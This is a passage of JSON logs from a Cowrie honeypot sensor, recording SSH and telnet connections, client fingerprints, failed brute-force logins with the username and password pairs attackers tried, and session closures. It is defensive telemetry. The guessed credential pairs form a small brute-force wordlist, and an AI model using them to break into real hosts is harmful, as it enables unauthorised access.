{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:44.064075Z","src_ip":"94.138.209.214","session":"c5b24ee33218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:44.189998Z","src_ip":"94.138.209.214","session":"c5b24ee33218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40794,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f89534bb7a9","protocol":"telnet","message":"New connection: 170.64.224.25:40794 (159.203.135.109:23) [session: 5f89534bb7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:44.251673Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lw147258","message":"login attempt [root/Lw147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:44.565651Z","src_ip":"203.121.40.210","session":"38bbbc0f278f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40798,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a8e81ab7e8c","protocol":"telnet","message":"New connection: 170.64.224.25:40798 (159.203.135.109:23) [session: 8a8e81ab7e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:44.635803Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"11111111","message":"login attempt [guest/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:44.727022Z","src_ip":"94.138.209.214","session":"c5b24ee33218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:45.806477Z","src_ip":"203.121.40.210","session":"38bbbc0f278f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:45.854846Z","src_ip":"94.138.209.214","session":"c5b24ee33218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":53186,"dst_ip":"10.17.0.5","dst_port":22,"session":"753b930b109c","protocol":"ssh","message":"New connection: 91.92.40.4:53186 (10.17.0.5:22) [session: 753b930b109c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:46.755809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:46.769961Z","src_ip":"91.92.40.4","session":"753b930b109c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:47.026856Z","src_ip":"91.92.40.4","session":"753b930b109c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root321","message":"login attempt [root/root321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:47.337561Z","src_ip":"91.92.40.4","session":"753b930b109c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:48.421536Z","src_ip":"91.92.40.4","session":"753b930b109c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39578,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9855bd62f6c","protocol":"telnet","message":"New connection: 170.64.224.25:39578 (159.203.135.109:23) [session: b9855bd62f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:50.322314Z"}
{"eventid":"cowrie.session.closed","duration":6.603021621704102,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:50.854518Z","src_ip":"170.64.224.25","session":"5f89534bb7a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":60078,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b18a864515a","protocol":"telnet","message":"New connection: 137.184.5.188:60078 (159.203.135.109:23) [session: 0b18a864515a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:06.868135Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":51014,"dst_ip":"10.17.0.5","dst_port":22,"session":"628e5c485228","protocol":"ssh","message":"New connection: 103.27.238.114:51014 (10.17.0.5:22) [session: 628e5c485228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:09.430748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:09.434600Z","src_ip":"103.27.238.114","session":"628e5c485228","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:09.708042Z","src_ip":"103.27.238.114","session":"628e5c485228","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"politika","message":"login attempt [root/politika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:10.512224Z","src_ip":"103.27.238.114","session":"628e5c485228","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.27403020858765,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:10.790055Z","src_ip":"170.64.224.25","session":"33e7bdf9367a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":30668,"dst_ip":"159.203.135.109","dst_port":22,"session":"550ba524e8f7","protocol":"ssh","message":"New connection: 38.93.206.2:30668 (159.203.135.109:22) [session: 550ba524e8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:11.264855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:11.269342Z","src_ip":"38.93.206.2","session":"550ba524e8f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:11.320832Z","src_ip":"38.93.206.2","session":"550ba524e8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abdullaev","message":"login attempt [root/abdullaev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:11.502003Z","src_ip":"38.93.206.2","session":"550ba524e8f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:11.787843Z","src_ip":"103.27.238.114","session":"628e5c485228","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:12.568712Z","src_ip":"38.93.206.2","session":"550ba524e8f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":60204,"dst_ip":"10.17.0.5","dst_port":22,"session":"505bda2bf5cc","protocol":"ssh","message":"New connection: 198.12.251.137:60204 (10.17.0.5:22) [session: 505bda2bf5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:15.261725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:15.268284Z","src_ip":"198.12.251.137","session":"505bda2bf5cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:15.336925Z","src_ip":"198.12.251.137","session":"505bda2bf5cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yield789","message":"login attempt [root/yield789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:15.539751Z","src_ip":"198.12.251.137","session":"505bda2bf5cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:16.610352Z","src_ip":"198.12.251.137","session":"505bda2bf5cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":43520,"dst_ip":"159.203.135.109","dst_port":22,"session":"c579bdd0382b","protocol":"ssh","message":"New connection: 162.215.213.210:43520 (159.203.135.109:22) [session: c579bdd0382b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:18.405018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:18.409712Z","src_ip":"162.215.213.210","session":"c579bdd0382b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:18.498942Z","src_ip":"162.215.213.210","session":"c579bdd0382b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cow456","message":"login attempt [root/cow456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:18.767374Z","src_ip":"162.215.213.210","session":"c579bdd0382b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:20.150818Z","src_ip":"162.215.213.210","session":"c579bdd0382b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":4930,"dst_ip":"10.17.0.5","dst_port":22,"session":"edddb24a67ff","protocol":"ssh","message":"New connection: 180.247.63.92:4930 (10.17.0.5:22) [session: edddb24a67ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:33.620446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:33.625078Z","src_ip":"180.247.63.92","session":"edddb24a67ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:33.888464Z","src_ip":"180.247.63.92","session":"edddb24a67ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.97691297531128,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:34.299093Z","src_ip":"170.64.224.25","session":"b9855bd62f6c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"develop","password":"123456","message":"login attempt [develop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:34.972383Z","src_ip":"180.247.63.92","session":"edddb24a67ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:36.238783Z","src_ip":"180.247.63.92","session":"edddb24a67ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":59036,"dst_ip":"10.17.0.5","dst_port":22,"session":"835540138568","protocol":"ssh","message":"New connection: 38.242.143.220:59036 (10.17.0.5:22) [session: 835540138568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:39.771505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:39.775614Z","src_ip":"38.242.143.220","session":"835540138568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 